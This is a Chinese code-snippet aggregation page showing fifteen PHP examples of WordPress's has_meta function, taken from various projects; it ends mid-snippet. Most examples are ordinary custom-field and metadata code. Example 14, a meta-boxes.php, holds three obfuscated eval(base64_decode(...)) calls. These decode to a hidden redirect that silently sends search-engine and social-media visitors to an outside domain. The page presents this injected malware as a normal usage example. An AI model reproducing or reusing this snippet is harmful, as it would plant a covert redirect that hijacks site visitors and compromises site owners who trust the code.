当前位置: 首页>>代码示例>>PHP>>正文


PHP has_meta函数代码示例

本文整理汇总了PHP中has_meta函数的典型用法代码示例。如果您正苦于以下问题:PHP has_meta函数的具体用法?PHP has_meta怎么用?PHP has_meta使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了has_meta函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: _e

?>
</div>
</div>
</fieldset>
</div>

<div class="dbx-b-ox-wrapper">
<fieldset id="postcustom" class="dbx-box">
<div class="dbx-h-andle-wrapper">
<h3 class="dbx-handle"><?php _e('Custom Fields') ?></h3>
</div>
<div class="dbx-c-ontent-wrapper">
<div id="postcustomstuff" class="dbx-content">
<table cellpadding="3">
<?php
$metadata = has_meta($post_ID);
list_meta($metadata);
?>

</table>
<?php
	meta_form();
?>
<div id="ajax-response"></div>
</div>
</div>
</fieldset>
</div>

<?php do_action('dbx_post_advanced'); ?>
开发者ID:staylor,项目名称:develop.svn.wordpress.org,代码行数:30,代码来源:edit-form-advanced.php

示例2: get_custom_fields

 /**
  * Retrieve custom fields for post.
  *
  * @since 2.5.0
  *
  * @param int $post_id Post ID.
  * @return array Custom fields, if exist.
  */
 public function get_custom_fields($post_id)
 {
     $post_id = (int) $post_id;
     $custom_fields = array();
     foreach ((array) has_meta($post_id) as $meta) {
         // Don't expose protected fields.
         if (!current_user_can('edit_post_meta', $post_id, $meta['meta_key'])) {
             continue;
         }
         $custom_fields[] = array("id" => $meta['meta_id'], "key" => $meta['meta_key'], "value" => $meta['meta_value']);
     }
     return $custom_fields;
 }
开发者ID:sb-xs,项目名称:que-pour-elle,代码行数:21,代码来源:class-wp-xmlrpc-server.php

示例3: get_custom_fields_from_wp_postmeta

 public static function get_custom_fields_from_wp_postmeta($post_ID = NULL)
 {
     $custom_fields = get_option('lingotek_custom_fields', array());
     $meta_black_list = array('_encloseme', '_edit_last', '_edit_lock', '_wp_trash_meta_status', '_wp_trash_meta_time');
     $arr = array();
     $keys = array();
     if ($post_ID) {
         $p = get_post($post_ID);
         $posts[] = $p;
     } else {
         $posts = get_posts(array('posts_per_page' => -1, 'post_type' => 'post'));
         $pages = get_posts(array('posts_per_page' => -1, 'post_type' => 'page'));
         $posts = array_merge($posts, $pages);
     }
     foreach ($posts as $post) {
         $metadata = has_meta($post->ID);
         foreach ($metadata as $key => $meta) {
             if (in_array($meta['meta_key'], $meta_black_list) || in_array($meta['meta_key'], $keys)) {
                 unset($metadata[$key]);
             }
             $keys[] = $meta['meta_key'];
         }
         $arr = array_merge($arr, $metadata);
     }
     // allow plugins to modify the fields to translate
     return apply_filters('lingotek_post_custom_fields', $arr);
 }
开发者ID:Gordondalos,项目名称:expert,代码行数:27,代码来源:group-post.php

示例4: post_custom_meta_box

/**
 * Display custom fields form fields.
 *
 * @since 2.6.0
 *
 * @param object $post
 */
function post_custom_meta_box($post)
{
    ?>
<div id="postcustomstuff">
<div id="ajax-response"></div>
<?php 
    $metadata = has_meta($post->ID);
    foreach ($metadata as $key => $value) {
        if (is_protected_meta($metadata[$key]['meta_key'], 'post') || !current_user_can('edit_post_meta', $post->ID, $metadata[$key]['meta_key'])) {
            unset($metadata[$key]);
        }
    }
    list_meta($metadata);
    meta_form($post);
    ?>
</div>
<p><?php 
    _e('Custom fields can be used to add extra metadata to a post that you can <a href="https://codex.wordpress.org/Using_Custom_Fields" target="_blank">use in your theme</a>.');
    ?>
</p>
<?php 
}
开发者ID:SayenkoDesign,项目名称:ividf,代码行数:29,代码来源:meta-boxes.php

示例5: get_post_by


//.........这里部分代码省略.........
                             if ('edit' !== $context || !$capabilities['edit_post']) {
                                 // user can't access
                                 $response[$key] = false;
                             }
                         }
                     }
                 }
                 break;
             case 'menu_order':
                 $response[$key] = (int) $post->menu_order;
                 break;
             case 'page_template':
                 $response[$key] = (string) get_post_meta($post->ID, '_wp_page_template', true);
                 break;
             case 'publicize_URLs':
                 $publicize_URLs = array();
                 $publicize = get_post_meta($post->ID, 'publicize_results', true);
                 if ($publicize) {
                     foreach ($publicize as $service => $data) {
                         switch ($service) {
                             case 'twitter':
                                 foreach ($data as $datum) {
                                     $publicize_URLs[] = esc_url_raw("https://twitter.com/{$datum['user_id']}/status/{$datum['post_id']}");
                                 }
                                 break;
                             case 'fb':
                                 foreach ($data as $datum) {
                                     $publicize_URLs[] = esc_url_raw("https://www.facebook.com/permalink.php?story_fbid={$datum['post_id']}&id={$datum['user_id']}");
                                 }
                                 break;
                         }
                     }
                 }
                 $response[$key] = (array) $publicize_URLs;
                 break;
             case 'tags':
                 $response[$key] = array();
                 $terms = wp_get_post_tags($post->ID);
                 foreach ($terms as $term) {
                     if (!empty($term->name)) {
                         $response[$key][$term->name] = $this->format_taxonomy($term, 'post_tag', 'display');
                     }
                 }
                 $response[$key] = (object) $response[$key];
                 break;
             case 'categories':
                 $response[$key] = array();
                 $terms = wp_get_object_terms($post->ID, 'category', array('fields' => 'all'));
                 foreach ($terms as $term) {
                     if (!empty($term->name)) {
                         $response[$key][$term->name] = $this->format_taxonomy($term, 'category', 'display');
                     }
                 }
                 $response[$key] = (object) $response[$key];
                 break;
             case 'attachments':
                 $response[$key] = array();
                 $_attachments = new WP_Query(array('post_parent' => $post->ID, 'post_status' => 'inherit', 'post_type' => 'attachment', 'posts_per_page' => '20'));
                 foreach ($_attachments->posts as $attachment) {
                     $response[$key][$attachment->ID] = $this->get_media_item_v1_1($attachment->ID);
                 }
                 $response['attachment_count'] = $_attachments->found_posts;
                 $response[$key] = (object) $response[$key];
                 break;
             case 'metadata':
                 // (array|false)
                 $metadata = array();
                 foreach ((array) has_meta($post_id) as $meta) {
                     // Don't expose protected fields.
                     $show = false;
                     if ($this->is_metadata_public($meta['meta_key'])) {
                         $show = true;
                     }
                     if (current_user_can('edit_post_meta', $post_id, $meta['meta_key'])) {
                         $show = true;
                     }
                     if (!$show) {
                         continue;
                     }
                     $metadata[] = array('id' => $meta['meta_id'], 'key' => $meta['meta_key'], 'value' => maybe_unserialize($meta['meta_value']));
                 }
                 if (!empty($metadata)) {
                     $response[$key] = $metadata;
                 } else {
                     $response[$key] = false;
                 }
                 break;
             case 'meta':
                 $response[$key] = (object) array('links' => (object) array('self' => (string) $this->get_post_link($this->api->get_blog_id_for_output(), $post->ID), 'help' => (string) $this->get_post_link($this->api->get_blog_id_for_output(), $post->ID, 'help'), 'site' => (string) $this->get_site_link($this->api->get_blog_id_for_output()), 'replies' => (string) $this->get_post_link($this->api->get_blog_id_for_output(), $post->ID, 'replies/'), 'likes' => (string) $this->get_post_link($this->api->get_blog_id_for_output(), $post->ID, 'likes/')));
                 break;
             case 'capabilities':
                 $response[$key] = $capabilities;
                 break;
         }
     }
     // WPCOM_JSON_API_Post_Endpoint::find_featured_worthy_media( $post );
     // $response['featured_media'] = self::find_featured_media( $response );
     unset($GLOBALS['post']);
     return $response;
 }
开发者ID:popthestack,项目名称:jetpack,代码行数:101,代码来源:class.wpcom-json-api-post-v1-1-endpoint.php

示例6: get_post_by


//.........这里部分代码省略.........
                     $geo_data = $geo->get_geo('post', $post->ID);
                     $response[$key] = false;
                     if ($geo_data) {
                         $geo_data = array_intersect_key($geo_data, array('latitude' => true, 'longitude' => true, 'address' => true, 'public' => true));
                         if ($geo_data) {
                             $response[$key] = (object) array('latitude' => isset($geo_data['latitude']) ? (double) $geo_data['latitude'] : 0, 'longitude' => isset($geo_data['longitude']) ? (double) $geo_data['longitude'] : 0, 'address' => isset($geo_data['address']) ? (string) $geo_data['address'] : '');
                         } else {
                             $response[$key] = false;
                         }
                         // Private
                         if (!isset($geo_data['public']) || !$geo_data['public']) {
                             if ('edit' !== $context || !current_user_can('edit_post', $post->ID)) {
                                 // user can't access
                                 $response[$key] = false;
                             }
                         }
                     }
                 }
                 break;
             case 'publicize_URLs':
                 $publicize_URLs = array();
                 $publicize = get_post_meta($post->ID, 'publicize_results', true);
                 if ($publicize) {
                     foreach ($publicize as $service => $data) {
                         switch ($service) {
                             case 'twitter':
                                 foreach ($data as $datum) {
                                     $publicize_URLs[] = esc_url_raw("https://twitter.com/{$datum['user_id']}/status/{$datum['post_id']}");
                                 }
                                 break;
                             case 'fb':
                                 foreach ($data as $datum) {
                                     $publicize_URLs[] = esc_url_raw("https://www.facebook.com/permalink.php?story_fbid={$datum['post_id']}&id={$datum['user_id']}");
                                 }
                                 break;
                         }
                     }
                 }
                 $response[$key] = (array) $publicize_URLs;
                 break;
             case 'tags':
                 $response[$key] = array();
                 $terms = wp_get_post_tags($post->ID);
                 foreach ($terms as $term) {
                     if (!empty($term->name)) {
                         $response[$key][$term->name] = $this->get_taxonomy($term->slug, 'post_tag', $context);
                     }
                 }
                 $response[$key] = (object) $response[$key];
                 break;
             case 'categories':
                 $response[$key] = array();
                 $terms = wp_get_post_categories($post->ID);
                 foreach ($terms as $term) {
                     $category = $taxonomy = get_term_by('id', $term, 'category');
                     if (!empty($category->name)) {
                         $response[$key][$category->name] = $this->get_taxonomy($category->slug, 'category', $context);
                     }
                 }
                 $response[$key] = (object) $response[$key];
                 break;
             case 'attachments':
                 $response[$key] = array();
                 $_attachments = get_posts(array('post_parent' => $post->ID, 'post_status' => 'inherit', 'post_type' => 'attachment'));
                 foreach ($_attachments as $attachment) {
                     $response[$key][$attachment->ID] = $this->get_attachment($attachment);
                 }
                 $response[$key] = (object) $response[$key];
                 break;
             case 'metadata':
                 // (array|false)
                 $metadata = array();
                 foreach ((array) has_meta($post_id) as $meta) {
                     // Don't expose protected fields.
                     $show = false;
                     if ($this->is_metadata_public($meta['meta_key'])) {
                         $show = true;
                     }
                     if (current_user_can('edit_post_meta', $post_id, $meta['meta_key'])) {
                         $show = true;
                     }
                     if (!$show) {
                         continue;
                     }
                     $metadata[] = array('id' => $meta['meta_id'], 'key' => $meta['meta_key'], 'value' => maybe_unserialize($meta['meta_value']));
                 }
                 if (!empty($metadata)) {
                     $response[$key] = $metadata;
                 } else {
                     $response[$key] = false;
                 }
                 break;
             case 'meta':
                 $response[$key] = (object) array('links' => (object) array('self' => (string) $this->get_post_link($this->api->get_blog_id_for_output(), $post->ID), 'help' => (string) $this->get_post_link($this->api->get_blog_id_for_output(), $post->ID, 'help'), 'site' => (string) $this->get_site_link($this->api->get_blog_id_for_output()), 'replies' => (string) $this->get_post_link($this->api->get_blog_id_for_output(), $post->ID, 'replies/'), 'likes' => (string) $this->get_post_link($this->api->get_blog_id_for_output(), $post->ID, 'likes/')));
                 break;
         }
     }
     unset($GLOBALS['post']);
     return $response;
 }
开发者ID:vsalx,项目名称:rattieinfo,代码行数:101,代码来源:class.json-api-endpoints.php

示例7: get_custom_fields

 /**
  * Retrieve custom fields for post.
  *
  * @since 2.5.0
  *
  * @param int $post_id Post ID.
  * @return array Custom fields, if exist.
  */
 function get_custom_fields($post_id)
 {
     $post_id = (int) $post_id;
     $custom_fields = array();
     foreach ((array) has_meta($post_id) as $meta) {
         // Don't expose protected fields.
         if (strpos($meta['meta_key'], '_wp_') === 0) {
             continue;
         }
         $custom_fields[] = array("id" => $meta['meta_id'], "key" => $meta['meta_key'], "value" => $meta['meta_value']);
     }
     return $custom_fields;
 }
开发者ID:staylor,项目名称:develop.svn.wordpress.org,代码行数:21,代码来源:xmlrpc.php

示例8: post_custom_meta_box

/**
 * Display custom fields form fields.
 *
 * @since 2.6.0
 *
 * @param object $post
 */
function post_custom_meta_box($post)
{
    ?>
<div id="postcustomstuff">
<div id="ajax-response"></div>
<?php 
    $metadata = has_meta($post->ID);
    list_meta($metadata);
    meta_form();
    ?>
</div>
<p><?php 
    _e('Custom fields can be used to add extra metadata to a post that you can <a href="http://codex.wordpress.org/Using_Custom_Fields" target="_blank">use in your theme</a>.');
    ?>
</p>
<?php 
}
开发者ID:google-code-backups,项目名称:pumpmyvote,代码行数:24,代码来源:meta-boxes.php

示例9: embed_audio_clip

 function embed_audio_clip()
 {
     global $post;
     if (has_meta($post, AUDIO_META_KEY)) {
         $clip = unserialize();
     }
 }
开发者ID:appliaison,项目名称:WP-NPR-API,代码行数:7,代码来源:wp-npr-api.php

示例10: get_metadata

 public function get_metadata()
 {
     $metadata = array();
     foreach ((array) has_meta($this->post->ID) as $meta) {
         // Don't expose protected fields.
         $meta_key = $meta['meta_key'];
         $show = !WPCOM_JSON_API_Metadata::is_internal_only($meta_key) && (WPCOM_JSON_API_Metadata::is_public($meta_key) || current_user_can('edit_post_meta', $this->post->ID, $meta_key));
         if ($show) {
             $metadata[] = array('id' => $meta['meta_id'], 'key' => $meta['meta_key'], 'value' => maybe_unserialize($meta['meta_value']));
         }
     }
     if (!empty($metadata)) {
         return $metadata;
     } else {
         return false;
     }
 }
开发者ID:elliott-stocks,项目名称:jetpack,代码行数:17,代码来源:class.json-api-post-base.php

示例11: syndicate_out_post

 function syndicate_out_post($postId)
 {
     if ($soOptions = get_option('so_options')) {
         if (isset($soOptions['group']) && is_array($soOptions['group'])) {
             foreach ($soOptions['group'] as $syndicationGroup) {
                 if (-1 == $syndicationGroup['category'] || in_category($syndicationGroup['category'], $postId)) {
                     $activeGroups[] = $syndicationGroup;
                 }
             }
             if (count($activeGroups) > 0) {
                 if (@(include_once ABSPATH . WPINC . '/class-IXR.php')) {
                     // Get required post information...
                     $postData = get_post($postId);
                     /////////////////////////////////////
                     /*
                        $postattachments_args = array(
                     	'post_type' => 'attachment',
                        	'numberposts' => -1,
                        	'post_status' => null,
                        	'post_parent' => $postId
                        );
                     
                       $post_attachments = get_posts( $postattachments_args );
                          if ( $post_attachments ) {
                             foreach ( $post_attachments as $post_attachment ) {
                               get_attached_file( $post_attachment->ID, 'full' );
                               }
                          }
                     */
                     /////////////////////////////////////
                     if ('inherit' == $postData->post_status) {
                         $postMetaId = $postData->post_parent;
                     } else {
                         $postMetaId = $postId;
                     }
                     // Title...
                     $remotePost['title'] = $postData->post_title;
                     // Description...
                     $remotePost['description'] = $postData->post_content;
                     // Permalink...
                     $remotePost['link'] = get_permalink($postData->ID);
                     // Custom fields...
                     $postMeta = has_meta($postMetaId);
                     if (is_array($postMeta)) {
                         $remotePost['custom_fields'] = array();
                         foreach ($postMeta as $metaSingle) {
                             if ($metaSingle['meta_key'][0] != '_') {
                                 $remotePost['custom_fields'][] = array('key' => $metaSingle['meta_key'], 'value' => $metaSingle['meta_value']);
                             }
                         }
                     }
                     // Tags...
                     if ($postTags = syndicate_out_get_tags($postId)) {
                         $keywords = array();
                         foreach ($postTags as $postTag) {
                             $keywords[] = $postTag->name;
                         }
                         $remotePost['mt_keywords'] = implode(',', $keywords);
                     }
                     // Categories...
                     $groupCategoryArray = array();
                     foreach ($activeGroups as $groupKey => $groupDetails) {
                         if ('none' != $groupDetails['syndicate_category']) {
                             if ('syndication' == $groupDetails['syndicate_category'] && -1 != $syndicationGroup['category']) {
                                 $groupCategoryArray[$groupKey]['categories'] = array(get_cat_name($groupDetails['category']));
                             } else {
                                 if ('all' == $groupDetails['syndicate_category'] || -1 == $syndicationGroup['category']) {
                                     $categories = get_the_category($postId);
                                     $groupCategoryArray[$groupKey]['categories'] = array();
                                     foreach ($categories as $postCategory) {
                                         $groupCategoryArray[$groupKey]['categories'][] = $postCategory->cat_name;
                                     }
                                 }
                             }
                         }
                     }
                     // Publish the post to the remote blog(s)...
                     if (false !== ($remotePostIds = unserialize(get_post_meta($postMetaId, '_so_remote_posts', true)))) {
                         if (!isset($remotePostIds['options_version'])) {
                             $newRemotePostIds = array('options_version' => SO_OPTIONS_VERSION);
                             foreach ($remotePostIds as $serverKey => $remotePostId) {
                                 $newRemotePostIds['group'][0][$serverKey] = $remotePostId;
                             }
                             $remotePostIds = $newRemotePostIds;
                             update_post_meta($postMetaId, '_so_remote_posts', serialize($remotePostIds));
                         }
                         foreach ($remotePostIds['group'] as $groupKey => $remoteServers) {
                             if (isset($groupCategoryArray[$groupKey])) {
                                 $compiledGroupPost = array_merge($remotePost, $groupCategoryArray[$groupKey]);
                             } else {
                                 $compiledGroupPost = $remotePost;
                             }
                             foreach ($remoteServers as $serverKey => $remotePostId) {
                                 if (is_numeric($remotePostId)) {
                                     if (isset($soOptions['group'][$groupKey]['servers'][$serverKey])) {
                                         $xmlrpc = new IXR_Client($soOptions['group'][$groupKey]['servers'][$serverKey]['server'] . 'xmlrpc.php');
                                         $xmlrpc->query('metaWeblog.editPost', $remotePostId, $soOptions['group'][$groupKey]['servers'][$serverKey]['username'], $soOptions['group'][$groupKey]['servers'][$serverKey]['password'], $compiledGroupPost, 1);
                                     }
                                 }
                             }
//.........这里部分代码省略.........
开发者ID:AurangZ,项目名称:securereader,代码行数:101,代码来源:syndicate-out.php

示例12: doMultiMeta

function doMultiMeta()
{
    global $post;
    $meta = has_meta($post->ID);
    // if default template.. assign var to page.php
    $post->page_template == 'default' ? $post->page_template = 'page.php' : '';
    $templatefile = locate_template(array($post->page_template));
    if (file_exists($templatefile)) {
        $template_data = implode('', array_slice(file($templatefile), 0, 10));
        $matches = '';
        //check for multiedit declaration in template
        if (preg_match('|MultiEdit:(.*)$|mi', $template_data, $matches)) {
            $multi = explode(',', _cleanup_header_comment($matches[1]));
            // load scripts
            multieditAdminHeader();
            // WE have multiedit zones, load js and css load
            add_action('edit_page_form', 'multieditAdminEditor', 1);
            add_action('edit_form_advanced', 'multieditAdminEditor', 1);
            //simple var assigment
            foreach ($meta as $k => $v) {
                foreach ($multi as $region) {
                    if (in_array('multiedit_' . $region, $v)) {
                        $present[$region] = true;
                    }
                }
            }
            //draw html
            drawMultieditHTML($meta, $present);
            // if custom field is not declared yet, create one with update_post_meta
            foreach ($multi as $region) {
                if (!isset($present[$region])) {
                    update_post_meta($post->ID, 'multiedit_' . $region, '');
                }
            }
        }
        // end preg_match
    } else {
        // cant find a suitable template.. display nothing. Content is still in custom fields, so it is not lost.
        return false;
    }
}
开发者ID:newinsites,项目名称:Wordpress-Starter,代码行数:41,代码来源:multiedit.php

示例13: compare_revisions_iframe

    static function compare_revisions_iframe()
    {
        //add_action('admin_init', 'register_admin_colors', 1);
        set_current_screen('revision-edit');
        $left = isset($_GET['left']) ? absint($_GET['left']) : false;
        $right = isset($_GET['right']) ? absint($_GET['right']) : false;
        if (!($left_revision = get_post($left))) {
            return;
        }
        if (!($right_revision = get_post($right))) {
            return;
        }
        if (!current_user_can('read_post', $left_revision->ID) || !current_user_can('read_post', $right_revision->ID)) {
            return;
        }
        // Don't allow reverse diffs?
        if (strtotime($right_revision->post_modified_gmt) < strtotime($left_revision->post_modified_gmt)) {
            //$redirect = add_query_arg( array( 'left' => $right, 'right' => $left ) );
            // Switch-a-roo
            $temp_revision = $left_revision;
            $left_revision = $right_revision;
            $right_revision = $temp_revision;
            unset($temp_revision);
        }
        global $post;
        if ($left_revision->ID == $right_revision->post_parent) {
            // right is a revision of left
            $post = $left_revision;
        } elseif ($left_revision->post_parent == $right_revision->ID) {
            // left is a revision of right
            $post = $right_revision;
        } elseif ($left_revision->post_parent == $right_revision->post_parent) {
            // both are revisions of common parent
            $post = get_post($left_revision->post_parent);
        } else {
            wp_die(__('Sorry, But you cant compare unrelated Revisions.', 'revision-control'));
        }
        // Don't diff two unrelated revisions
        if ($left_revision->ID == $right_revision->ID || !wp_get_post_revision($left_revision->ID) && !wp_get_post_revision($right_revision->ID)) {
            wp_die(__('Sorry, But you cant compare a Revision to itself.', 'revision-control'));
        }
        $title = sprintf(__('Compare Revisions of &#8220;%1$s&#8221;', 'revision-control'), get_the_title());
        $left = $left_revision->ID;
        $right = $right_revision->ID;
        $GLOBALS['hook_suffix'] = 'revision-control';
        wp_enqueue_style('revision-control');
        iframe_header();
        ?>
		<div class="wrap">
		
		<h2 class="long-header center"><?php 
        echo $title;
        ?>
</h2>
		
		<table class="form-table ie-fixed">
			<col class="th" />
		<tr id="revision">
			<th scope="col" class="th-full">
				<?php 
        printf(__('Older: %s', 'revision-control'), wp_post_revision_title($left_revision, false));
        ?>
				<span class="alignright"><?php 
        printf(__('Newer: %s', 'revision-control'), wp_post_revision_title($right_revision, false));
        ?>
</span>
			</th>
		</tr>
		<?php 
        $fields = _wp_post_revision_fields();
        foreach (get_object_taxonomies($post->post_type) as $taxonomy) {
            $t = get_taxonomy($taxonomy);
            $fields[$taxonomy] = $t->label;
            $left_terms = $right_terms = array();
            foreach (wp_get_object_terms($left_revision->ID, $taxonomy) as $term) {
                $left_terms[] = $term->name;
            }
            foreach (wp_get_object_terms($right_revision->ID, $taxonomy) as $term) {
                $right_terms[] = $term->name;
            }
            $left_revision->{$taxonomy} = (empty($left_terms) ? '' : "* ") . join("\n* ", $left_terms);
            $right_revision->{$taxonomy} = (empty($right_terms) ? '' : "* ") . join("\n* ", $right_terms);
        }
        $fields['postmeta'] = __('Post Meta', 'revision-control');
        $left_revision->postmeta = $right_revision->postmeta = array();
        foreach ((array) has_meta($right_revision->ID) as $meta) {
            if ('_' == $meta['meta_key'][0]) {
                continue;
            }
            $right_revision->postmeta[] = $meta['meta_key'] . ': ' . $meta['meta_value'];
            $left_val = get_post_meta('post', $left_revision->ID, $meta['meta_key'], true);
            if (!empty($left_val)) {
                $left_revision->postmeta[] = $meta['meta_key'] . ': ' . $left_val;
            }
        }
        $right_revision->postmeta = implode("\n", $right_revision->postmeta);
        $left_revision->postmeta = implode("\n", $left_revision->postmeta);
        $identical = true;
        foreach ($fields as $field => $field_title) {
            if (!($content = wp_text_diff($left_revision->{$field}, $right_revision->{$field}))) {
//.........这里部分代码省略.........
开发者ID:Karpec,项目名称:geo-mac,代码行数:101,代码来源:revision-control.php

示例14: post_custom_meta_box

/**
 * Display custom fields form fields.
 *
 * @since 2.6.0
 *
 * @param object $post
 */
function post_custom_meta_box($post)
{
    ?>
<div id="postcustomstuff">
<div id="ajax-response"></div>
<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    $metadata = has_meta($post->ID);
    list_meta($metadata);
    meta_form();
    ?>
</div>
<p><?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    _e('Custom fields can be used to add extra metadata to a post that you can <a href="http://codex.wordpress.org/Using_Custom_Fields" target="_blank">use in your theme</a>.');
    ?>
</p>
<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
}
开发者ID:nagyist,项目名称:laura-wordpress,代码行数:27,代码来源:meta-boxes.php

示例15: get_metadata

 public function get_metadata()
 {
     $metadata = array();
     foreach ((array) has_meta($this->post->ID) as $meta) {
         // Don't expose protected fields.
         $meta_key = $meta['meta_key'];
         $show = !WPCOM_JSON_API_Metadata::is_internal_only($meta_key) && (WPCOM_JSON_API_Metadata::is_public($meta_key) || current_user_can('edit_post_meta', $this->post->ID, $meta_key));
         // Only business plan subscribers can view custom meta description
         if (Jetpack_SEO_Posts::DESCRIPTION_META_KEY == $meta_key && !Jetpack_SEO_Utils::is_enabled_jetpack_seo()) {
             $show = false;
         }
         if ($show) {
